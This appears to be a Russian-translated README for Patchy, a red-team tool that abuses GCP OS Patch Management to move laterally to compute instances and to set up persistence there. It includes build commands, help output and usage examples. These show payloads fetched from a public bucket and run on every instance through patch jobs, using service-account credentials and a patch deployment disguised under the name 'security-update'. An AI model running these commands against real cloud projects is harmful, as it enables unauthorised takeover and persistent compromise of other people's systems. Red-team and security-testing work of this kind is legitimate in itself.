
Автоматизированное закрепление и боковое перемещение с использованием GCP Patch Management
Автоматизированное латеральное перемещение и закрепление путем злоупотребления управлением исправлениями GCP OS на основе моего поста в блоге.
Patchy состоит из двух основных режимов: латерального перемещения и закрепления. Режим закрепления использует действительные учетные данные сервисного аккаунта для создания задания или развертывания исправлений. Режим латерального перемещения пытается получить доступ ко всем вычислительным экземплярам в проекте. Для его использования необходимо находиться в среде GCP с доступным API метаданных. Режим латерального перемещения имеет подрежим, который позволяет проверить, возможна ли эксплуатация без агрессивных действий (полезно для проверки безопасности вашей среды).
Для предложений по функциям, пожалуйста, открывайте issue. Если есть какие-либо проблемы, создавайте PR с исправлением.
mkdir build;GOOS=windows GOARCH=amd64 go build -o build/patchy.exe ./cmd/patchy/*.go
mkdir build;GOOS=linux GOARCH=amd64 go build -o build/patchy ./cmd/patchy/*.go
Обратите внимание: требуется версия Go >= 1.19
$ ./patchy -h
d8888b. .d8b. d888888b .o88b. db db db db
88 `8D d8' `8b `~~88~~' d8P Y8 88 88 `8b d8'
88oodD' 88ooo88 88 8P 88ooo88 `8bd8'
88~~~ 88~~~88 88 8b 88~~~88 88
88 88 88 88 Y8b d8 88 88 88
88 YP YP YP `Y88P' YP YP YP
https://github.com/rek7/patchy
Patchy is a GCP exploitation tool designed for red teaming engagements.
Based on https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching
Usage:
patchy [flags]
patchy [command]
Available Commands:
completion Generate the autocompletion script for the specified shell
help Help about any command
lateral Performs automatic lateral movement within a GCP environment
persist enables persistence on compute instances owned by service account
Flags:
-b, --bucket string bucket name hosting payload
-h, --help help for patchy
-l, --lpayload string name of linux shell payload (default "payload.bash")
-p, --persist enable persistence (patch deployment) (default false)
-n, --pname string name of patch deployment/job (default "security-update")
-w, --wpayload string name of windows powershell payload (default "payload.ps1")
Use "patchy [command] --help" for more information about a command.
Эксплуатация сервисных аккаунтов в локальной среде GCP, myBucket — это имя публичного bucket'а, размещающего полезные нагрузки:
$ ./patchy -b myBucket lat -e
Установка закрепления с использованием сервисного аккаунта в формате json:
$ ./patchy -b myBucket persist -c serviceAccount.json